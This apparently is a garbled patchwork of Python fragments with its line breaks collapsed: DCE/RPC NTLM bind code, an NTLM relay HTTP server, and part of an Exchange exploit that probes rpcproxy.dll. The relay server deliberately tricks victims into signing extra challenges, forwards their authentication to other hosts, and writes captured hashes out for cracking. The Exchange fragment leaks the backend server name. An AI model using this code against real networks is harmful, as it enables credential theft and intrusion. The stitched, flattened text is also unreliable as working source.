MSRPCBindAck(s) else: return 0 #mmm why not None? if resp.get_type() == MSRPC_BINDNAK: resp = MSRPCBindNak(s) status_code = resp.get_reason() if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) else: raise Exception( 'Unknown DCE RPC fault status code: %.8x' % status_code, resp) self.__max_xmit_size = resp.get_max_tfrag() if self.__auth_level != ntlm.NTLM_AUTH_NONE: authResp = ntlm.NTLMAuthChallenge( data=resp.get_auth_data().tostring()) self._ntlm_challenge = authResp['challenge'] response = ntlm.NTLMAuthChallengeResponse(self.__username, self.__password, self._ntlm_challenge) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__password: key = ntlm.compute_nthash(self.__password) if POW: hash = POW.Digest(POW.MD4_DIGEST) else: hash = MD4.new() hash.update(key) key = hash.digest() else: key = '\x00' * 16 if POW: cipher = POW.Symmetric(POW.RC4) cipher.encryptInit(key) self.cipher_encrypt = cipher.update else: cipher = ARC4.new(key) self.cipher_encrypt = cipher.encrypt if response['flags'] & ntlm.NTLMSSP_KEY_EXCHANGE: session_key = 'A' * 16 # XXX Generate random session key response['session_key'] = self.cipher_encrypt(session_key) if POW: cipher = POW.Symmetric(POW.RC4) cipher.encryptInit(session_key) self.cipher_encrypt = cipher.update else: cipher = ARC4.new(session_key) self.cipher_encrypt = cipher.encrypt self.sequence = 0 auth3 = MSRPCHeader() auth3.set_type(MSRPC_AUTH3) auth3.set_auth_data(str(response)) self._transport.send(auth3.get_packet(), forceWriteAndx=1) return resp # means packet is signed, if verifier is wrong it fails
class HTTPRelayServer(Thread): class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): def __init__(self, server_address, RequestHandlerClass, config): self.config = config SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass) class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.target = self.server.config.target.get_target( client_address[0], self.server.config.randomtargets) logging.info( "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.target[1])) SimpleHTTPServer.SimpleHTTPRequestHandler.__init__( self, request, client_address, server) def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request( self) except KeyboardInterrupt: raise except Exception, e: logging.error('Exception in HTTP request handler: %s' % e) def log_message(self, format, *args): return def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_AUTHHEAD(self, message=''): self.send_response(401) self.send_header('WWW-Authenticate', message) self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.end_headers() #Trickery to get the victim to sign more challenges def do_REDIRECT(self): rstr = ''.join( random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) self.send_response(302) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Connection', 'close') self.send_header('Location', '/%s' % rstr) self.send_header('Content-Length', '0') self.end_headers() def do_GET(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message='NTLM') pass else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token): #Connection failed self.server.config.target.log_target( self.client_address[0], self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if not self.do_ntlm_auth(token, authenticateMessage): logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want if authenticateMessage[ 'user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.log_target( self.client_address[0], self.target) #No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD('NTLM') else: # Relay worked, do whatever we want here... logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name'])) ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.log_target( self.client_address[0], self.target) self.do_attack() # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.send_header('Connection', 'close') self.end_headers() return def do_ntlm_negotiate(self, token): if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': try: self.client = HTTPRelayClient( "%s://%s:%d/%s" % (self.target[0].lower(), self.target[1], self.target[2], self.target[3]), self.server.config.ewsBody) clientChallengeMessage = self.client.sendNegotiate(token) except Exception, e: logging.error("Connection against target %s FAILED" % self.target[1]) logging.error(str(e)) return False #Calculate auth self.challengeMessage = ntlm.NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message='NTLM ' + base64.b64encode(self.challengeMessage.getData())) return True
r = requests.Request('RPC_IN_DATA', f'{args.frontend}/rpc/rpcproxy.dll') r.headers['Authorization'] = f'NTLM {ntlmHash}' sess = requests.Session() if args.proxy: proxies = {'https': args.proxy} else: proxies = {} r = sess.send(r.prepare(), verify=False, proxies=proxies) if r.status_code != 401: raise Exception(f'RPC NTLM Session Auth received {r.status_code}') serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', r.headers['WWW-Authenticate']).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = ntlm.NTLMAuthChallenge(serverChallenge) hashData = ntlm.AV_PAIRS(challenge['TargetInfoFields']) args.backend = str(hashData.fields[3][1], 'utf-16') print(f'Backend: {args.backend}') p = Proxy(args.frontend, args.backend, proxy=args.proxy) if args.email is not None: url = '/autodiscover/autodiscover.xml' r = requests.Request('POST', url) r.headers['Content-Type'] = 'text/xml' r.data = f'<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>{args.email}</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover> ' r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected autodiscover status {r.status_code}')